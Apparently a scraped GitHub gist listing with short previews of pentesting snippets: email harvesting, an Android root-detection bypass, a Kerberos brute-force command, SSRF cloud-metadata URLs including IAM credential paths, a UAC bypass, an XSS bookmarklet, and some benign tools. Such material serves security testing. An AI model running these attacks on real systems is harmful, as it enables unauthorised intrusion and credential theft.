streaak / hunterio.sh

Last active May 14, 2022 20:29

Script to gather emails from Hunter.io API

	#!/bin/bash

	total=$(curl -s "https://api.hunter.io/v2/email-count?domain=$1" \| jq -r '.data.total')
	echo "Total is $total"

	if [ "$total" != "0" ]; then
	for (( i=0; i<=$total; i+=100 ))
	do
	echo "offset $i"
	curl -s "https://api.hunter.io/v2/domain-search?domain=$1&api_key=KEYHERE&limit=100&offset=$i" \| jq -r '.data.emails[].value' >> hunter_emails.txt

pich4ya / root_bypass.js

Created August 5, 2019 20:14

Bypass Android Root Detection / Bypass RootBeer - August 2019

	// $ frida -l antiroot.js -U -f com.example.app --no-pause
	// CHANGELOG by Pichaya Morimoto (p.morimoto@sth.sh):
	// - I added extra whitelisted items to deal with the latest versions
	// of RootBeer/Cordova iRoot as of August 6, 2019
	// - The original one just fucked up (kill itself) if Magisk is installed lol
	// Credit & Originally written by: https://codeshare.frida.re/@dzonerzy/fridantiroot/
	// If this isn't working in the future, check console logs, rootbeer src, or libtool-checker.so
	Java.perform(function() {

	var RootPackages = ["com.noshufou.android.su", "com.noshufou.android.su.elite", "eu.chainfire.supersu",

TarlogicSecurity / kerberos_attacks_cheatsheet.md

Created May 14, 2019 13:33

A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

marcan / memopri.py

Last active June 13, 2025 03:20

Casio MemoPri (メモプリ) printer client

	#!/usr/bin/python3
	import sys, socket, struct
	import PIL, PIL.Image, PIL.ImageOps

	DENSITY_MIN = 0
	DENSITY_LIGHT = 1
	DENSITY_NORMAL = 2
	DENSITY_HEAVY = 3
	DENSITY_MAX = 4

jhaddix / cloud_metadata.txt

Last active March 4, 2026 21:23 — forked from BuffaloWill/cloud_metadata.txt

Cloud Metadata Dictionary useful for SSRF Testing

	## AWS
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/ami-id
	http://169.254.169.254/latest/meta-data/reservation-id
	http://169.254.169.254/latest/meta-data/hostname
	http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

makelariss / uacbypasstokenmanipulation.py

Last active April 27, 2025 07:04

Fileless AlwaysNotify UAC Bypass using CIA Vault7's Token Manipulation

	# -- coding: utf-8 --
	# All credits go to CIA: https://gist.github.com/hfiref0x/59c689a14f1fc2302d858ae0aa3f6b86 (please don't hack me <3 :))
	# This is trully a Always Notify UAC Bypass,cause it uses process enumeration to find elevated processes. Since you need administrative privileges to get TOKEN_ELEVATION,we look for processes with manifests that have <autoElevate></autoElevate> set to True.
	from ctypes.wintypes import *
	from ctypes import *
	from enum import IntEnum

	kernel32 = WinDLL('kernel32', use_last_error=True)
	advapi32 = WinDLL('advapi32', use_last_error=True)
	shell32 = WinDLL('shell32' , use_last_error=True)

anonymous / Injectable.cpp

Created December 18, 2017 15:25

Simple UserMode Hook Example

	#include <windows.h>
	#include <stdio.h>


	FARPROC fpCreateProcessW;
	BYTE bSavedByte;

	// Blog Post Here:
	// https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108
	// tasklist \| findstr explore.exe

Rhynorater / XSSbookmarklet.js

Last active May 18, 2020 04:23

XSS Discovery Bookmarklet

javascript:(function()%7Bvar j %3D document.getElementsByTagName("input")%3Bif (document.location.href.indexOf("%3F")>-1)%7Bvar l %3D "%26"%3B%7Delse%7Bvar l %3D "%3F"%3B%7Dfor (i%3D0%3Bi<j.length%3Bi%2B%2B)%7Bl%2B%3Dj%5Bi%5D.getAttribute("name")%2B'%3D"><test1234>%26'%7Ddocument.location %3D document.location%2Bl%7D)()

wdormann / disable_ddeauto.reg

Last active October 1, 2024 17:10

Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016

	Windows Registry Editor Version 5.00

	[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options]
	"DontUpdateLinks"=dword:00000001

	[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options]
	"DontUpdateLinks"=dword:00000001

	[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options]
	"DontUpdateLinks"=dword:00000001

Pulimet / AdbCommands

Last active March 17, 2026 08:53

Adb useful commands list

	Hi All!

	I've recently launched a tool that wraps many of the commands here with a user interface. This desktop application is currently available for macOS. There's a roadmap outlining planned features for the near future.
	Feel free to request any features you'd like to see, and I'll prioritize them accordingly.
	One of the most important aspects of this application is that every command executed behind the scenes is displayed in a special log section. This allows you to see exactly what’s happening and learn from it.

	Here's the link to the repository: https://github.com/Pulimet/ADBugger

	App Description:
	ADBugger is a desktop tool designed for debugging and QA of Android devices and emulators. It simplifies testing, debugging, and performance analysis by offering device management, automated testing, log analysis, and remote control capabilities. This ensures smooth app performance across various setups.

mohamed soltan S0ltan

Kerberos cheatsheet

Bruteforcing